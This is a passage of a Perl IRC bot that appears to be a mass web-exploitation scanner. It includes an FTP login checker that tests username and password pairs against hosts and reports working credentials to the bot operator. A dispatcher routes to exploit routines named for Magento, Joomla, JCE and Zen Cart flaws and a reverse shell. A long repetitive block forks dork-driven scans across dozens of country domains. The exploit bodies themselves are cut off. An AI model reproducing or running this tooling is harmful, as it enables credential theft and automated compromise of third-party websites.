my $website = "http://www.ipligence.com/geolocation";
my ($useragent,$request,$response,%form);
undef %form;
$form{ip} = $ip;
$useragent = LWP::UserAgent->new;
$useragent->timeout(5);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/Your IP address is(.*)
City:(.*)Country:(.*)
Continent:(.*)
Time/g) {
my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
&msg("$path","9,1[4!9]15IP 4<9=4>15IP Address : ".$ip." 4[".$ipaddress."]");
&msg("$path","9,1[4!9]15IP 4<9=4>15City : ".$ip." 4[".$city."]");
&msg("$path","9,1[4!9]15IP 4<9=4>15Country : ".$ip." 4[".$country."]");
&msg("$path","9,1[4!9]15IP 4<9=4>15Continent : ".$ip." 4[".$continent."]");
}
else {
&msg("$path","9,1[4!9]15IP 4<9=4>15 ".$ip." 4not found in database");
}
}
else {
&msg("$path","9,1[4!9]15IP 4<12=4> 4 Cannot open IP database.");
}
}
exit;
}
}
if ($msg=~ /^!dns\s+(.*)/){
my $nsku = $1;
my $mydns = inet_ntoa(inet_aton($nsku));
&msg("$path", "9,1[4!9]15DNS 4<9=4>15$nsku 4Resolved to 4 $mydns");
}
if ($msg=~ /^!port\s+(.*?)\s+(.*)/ ) {
my $hostip= "$1";
my $portsc= "$2";
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
if ($scansock) {
&msg("$path","9,1[4!9]15PORT 4<9=4>15 $hostip : $portsc 12Successful !");
}
else {
&msg("$path","9,1[4!9]15PORT 4<9=4>15 $hostip : $portsc 4Failed !");
}
}
if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) {
my $url = $_[0];
my $host = $_[1];
my $user = $_[2];
my $pass = $_[3];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) { exit; } else {
my ($host,$user,$pass) = ($1,$2,$3);
&msg("$path","9,1[4!9]FTP 4<9=4>15 Checking $host | $user:$pass");
my $success = 1;
use Net::FTP;
my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5);
$success = 0 if $ftp->login($user,$pass);
$ftp->quit;
if ($success == 0) {
¬ice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success ");
¬ice("$admin","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success ");
} else {
¬ice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 4Denied ");
}
}
}
}
}
}
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line = $line_temp.$line if ($line_temp);
$line_temp = '';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}
##################################################################################
sub type() {
my ($chan,$bug,$dork,$engine,$type) = @_;
if ($type == 1){$type=&shoplift($chan,$bug,$dork,$engine);}
elsif ($type == 2){$type=&magadmin($chan,$bug,$dork,$engine);}
elsif ($type == 3){$type=&magsql($chan,$bug,$dork,$engine);}
elsif ($type == 4){$type=&mageupl($chan,$bug,$dork,$engine);}
elsif ($type == 6){$type=&jce_exploit($chan,$bug,$dork,$engine);}
elsif ($type == 7){$type=&revlfd($chan,$bug,$simpan,$dork,$engine);}
elsif ($type == 8){$type=&revshell($chan,$bug,$simpan,$dork,$engine);}
elsif ($type == 9){$type=&zen_lfd($chan,$bug,$simpan,$dork,$engine);}
elsif ($type == 10){$type=&joomla_xpl($chan,$bug,$simpan,$dork,$engine);}
elsif ($type == 11){$type=&magelfi($chan,$bug,$simpan,$dork,$engine);}
}
##################################################################################
sub se_start() {
my ($chan,$bug,$dork,$engine,$type) = @_;
if ($engine =~ /jackae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAE",$type); } exit; } }
if ($engine =~ /jackar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAR",$type); } exit; } }
if ($engine =~ /jackat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAT",$type); } exit; } }
if ($engine =~ /jackau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKAU",$type); } exit; } }
if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBR",$type); } exit; } }
if ($engine =~ /jackca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCA",$type); } exit; } }
if ($engine =~ /jackcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCL",$type); } exit; } }
if ($engine =~ /jackcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCN",$type); } exit; } }
if ($engine =~ /jackcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCoM",$type); } exit; } }
if ($engine =~ /jackcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKCZ",$type); } exit; } }
if ($engine =~ /jackde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKDE",$type); } exit; } }
if ($engine =~ /jackdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKDK",$type); } exit; } }
if ($engine =~ /jackes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKES",$type); } exit; } }
if ($engine =~ /jackeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKEU",$type); } exit; } }
if ($engine =~ /jackfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKFR",$type); } exit; } }
if ($engine =~ /jackhu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKHU",$type); } exit; } }
if ($engine =~ /jackid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKID",$type); } exit; } }
if ($engine =~ /jackil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIL",$type); } exit; } }
if ($engine =~ /jackin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIN",$type); } exit; } }
if ($engine =~ /jackinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKInfO",$type); } exit; } }
if ($engine =~ /jackir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIR",$type); } exit; } }
if ($engine =~ /jackit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKIT",$type); } exit; } }
if ($engine =~ /jackjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKJP",$type); } exit; } }
if ($engine =~ /jackkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKKR",$type); } exit; } }
if ($engine =~ /jackmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKMX",$type); } exit; } }
if ($engine =~ /jackmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKMY",$type); } exit; } }
if ($engine =~ /jacknet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKNeT",$type); } exit; } }
if ($engine =~ /jacknl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKNL",$type); } exit; } }
if ($engine =~ /jackorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKOrG",$type); } exit; } }
if ($engine =~ /jackph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKPH",$type); } exit; } }
if ($engine =~ /jackpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKPL",$type); } exit; } }
if ($engine =~ /jackro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKRO",$type); } exit; } }
if ($engine =~ /jackru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKRU",$type); } exit; } }
if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKTH",$type); } exit; } }
if ($engine =~ /jackua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKUA",$type); } exit; } }
if ($engine =~ /jackuk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKUK",$type); } exit; } }
if ($engine =~ /jackus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKUS",$type); } exit; } }
if ($engine =~ /jacksi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKSI",$type); } exit; } }
if ($engine =~ /jackbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBE",$type); } exit; } }
if ($engine =~ /jackbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JacKBIZ",$type); } exit; } }
if ($engine =~ /ae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AE",$type); } exit; } }
if ($engine =~ /ar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AR",$type); } exit; } }
if ($engine =~ /at/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AT",$type); } exit; } }
if ($engine =~ /au/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AU",$type); } exit; } }
if ($engine =~ /br/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BR",$type); } exit; } }
if ($engine =~ /ca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CA",$type); } exit; } }
if ($engine =~ /cl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CL",$type); } exit; } }
if ($engine =~ /cn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CN",$type); } exit; } }
if ($engine =~ /com/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CoM",$type); } exit; } }
if ($engine =~ /cz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CZ",$type); } exit; } }
if ($engine =~ /de/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DE",$type); } exit; } }
if ($engine =~ /dk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DK",$type); } exit; } }
if ($engine =~ /es/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ES",$type); } exit; } }
if ($engine =~ /eu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EU",$type); } exit; } }
if ($engine =~ /fr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FR",$type); } exit; } }
if ($engine =~ /hu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HU",$type); } exit; } }
if ($engine =~ /id/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ID",$type); } exit; } }
if ($engine =~ /il/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IL",$type); } exit; } }
if ($engine =~ /in/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IN",$type); } exit; } }
if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"InfO",$type); } exit; } }
if ($engine =~ /ir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IR",$type); } exit; } }
if ($engine =~ /it/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IT",$type); } exit; } }
if ($engine =~ /jp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JP",$type); } exit; } }
if ($engine =~ /kr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KR",$type); } exit; } }
if ($engine =~ /mx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MX",$type); } exit; } }
if ($engine =~ /my/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MY",$type); } exit; } }
if ($engine =~ /net/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NeT",$type); } exit; } }
if ($engine =~ /nl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NL",$type); } exit; } }
if ($engine =~ /org/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OrG",$type); } exit; } }
if ($engine =~ /ph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PH",$type); } exit; } }
if ($engine =~ /pl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PL",$type); } exit; } }
if ($engine =~ /ro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RO",$type); } exit; } }
if ($engine =~ /ru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"RU",$type); } exit; } }
if ($engine =~ /th/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TH",$type); } exit; } }
if ($engine =~ /ua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UA",$type); } exit; } }
if ($engine =~ /uk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UK",$type); } exit; } }
if ($engine =~ /us/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"US",$type); } exit; } }
if ($engine =~ /si/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SI",$type); } exit; } }
if ($engine =~ /be/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BE",$type); } exit; } }
if ($engine =~ /biz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BIZ",$type); } exit; } }
if ($engine =~ /xxx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"XXX",$type); } exit; } }
if ($engine =~ /tel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TEL",$type); } exit; } }
if ($engine =~ /tv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TV",$type); } exit; } }
if ($engine =~ /cc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CC",$type); } exit; } }
if ($engine =~ /mil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MIL",$type); } exit; } }
if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ASIA",$type); } exit; } }
if ($engine =~ /name/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NAME",$type); } exit; } }
if ($engine =~ /pro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"PRO",$type); } exit; } }
if ($engine =~ /travel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"TRAVEL",$type); } exit; } }
if ($engine =~ /cat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CAT",$type); } exit; } }
if ($engine =~ /jobs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JOBS",$type); } exit; } }
if ($engine =~ /mobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MOBI",$type); } exit; } }
if ($engine =~ /aero/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AERO",$type); } exit; } }
if ($engine =~ /coop/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"COOP",$type); } exit; } }
if ($engine =~ /edu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EDU",$type); } exit; } }
if ($engine =~ /gov/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GOV",$type); } exit; } }
if ($engine =~ /as/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AS",$type); } exit; } }
if ($engine =~ /ai/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AI",$type); } exit; } }
if ($engine =~ /ag/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AG",$type); } exit; } }
if ($engine =~ /az/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"AZ",$type); } exit; } }
if ($engine =~ /bh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BH",$type); } exit; } }
if ($engine =~ /bd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BD",$type); } exit; } }
if ($engine =~ /bz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BZ",$type); } exit; } }
if ($engine =~ /bo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BO",$type); } exit; } }
if ($engine =~ /ba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BA",$type); } exit; } }
if ($engine =~ /bw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BW",$type); } exit; } }
if ($engine =~ /vg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"VG",$type); } exit; } }
if ($engine =~ /bg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BG",$type); } exit; } }
if ($engine =~ /bi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"BI",$type); } exit; } }
if ($engine =~ /co/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CO",$type); } exit; } }
if ($engine =~ /cd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CD",$type); } exit; } }
if ($engine =~ /cg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CG",$type); } exit; } }
if ($engine =~ /ck/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CK",$type); } exit; } }
if ($engine =~ /cr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CR",$type); } exit; } }
if ($engine =~ /hr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HR",$type); } exit; } }
if ($engine =~ /cu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CU",$type); } exit; } }
if ($engine =~ /ci/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"CI",$type); } exit; } }
if ($engine =~ /dj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DJ",$type); } exit; } }
if ($engine =~ /dm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DM",$type); } exit; } }
if ($engine =~ /do/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"DO",$type); } exit; } }
if ($engine =~ /ec/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EC",$type); } exit; } }
if ($engine =~ /eg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EG",$type); } exit; } }
if ($engine =~ /sv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"SV",$type); } exit; } }
if ($engine =~ /ee/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"EE",$type); } exit; } }
if ($engine =~ /et/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ET",$type); } exit; } }
if ($engine =~ /fj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FJ",$type); } exit; } }
if ($engine =~ /fi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FI",$type); } exit; } }
if ($engine =~ /gm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GM",$type); } exit; } }
if ($engine =~ /gi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GI",$type); } exit; } }
if ($engine =~ /gr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GR",$type); } exit; } }
if ($engine =~ /gl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GL",$type); } exit; } }
if ($engine =~ /gt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GT",$type); } exit; } }
if ($engine =~ /gg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GG",$type); } exit; } }
if ($engine =~ /ht/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HT",$type); } exit; } }
if ($engine =~ /hn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HN",$type); } exit; } }
if ($engine =~ /hk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"HK",$type); } exit; } }
if ($engine =~ /is/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IS",$type); } exit; } }
if ($engine =~ /ie/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IE",$type); } exit; } }
if ($engine =~ /im/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"IM",$type); } exit; } }
if ($engine =~ /je/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JE",$type); } exit; } }
if ($engine =~ /jo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"JO",$type); } exit; } }
if ($engine =~ /kz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KZ",$type); } exit; } }
if ($engine =~ /ke/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KE",$type); } exit; } }
if ($engine =~ /kg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"KG",$type); } exit; } }
if ($engine =~ /lv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LV",$type); } exit; } }
if ($engine =~ /ls/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LS",$type); } exit; } }
if ($engine =~ /ly/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LY",$type); } exit; } }
if ($engine =~ /li/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LI",$type); } exit; } }
if ($engine =~ /lt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LT",$type); } exit; } }
if ($engine =~ /lu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"LU",$type); } exit; } }
if ($engine =~ /mw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MW",$type); } exit; } }
if ($engine =~ /mt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MT",$type); } exit; } }
if ($engine =~ /mu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MU",$type); } exit; } }
if ($engine =~ /fm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"FM",$type); } exit; } }
if ($engine =~ /mn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MN",$type); } exit; } }
if ($engine =~ /ms/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MS",$type); } exit; } }
if ($engine =~ /ma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"MA",$type); } exit; } }
if ($engine =~ /na/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NA",$type); } exit; } }
if ($engine =~ /np/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NP",$type); } exit; } }
if ($engine =~ /nz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"NZ",$type); } exit; } }
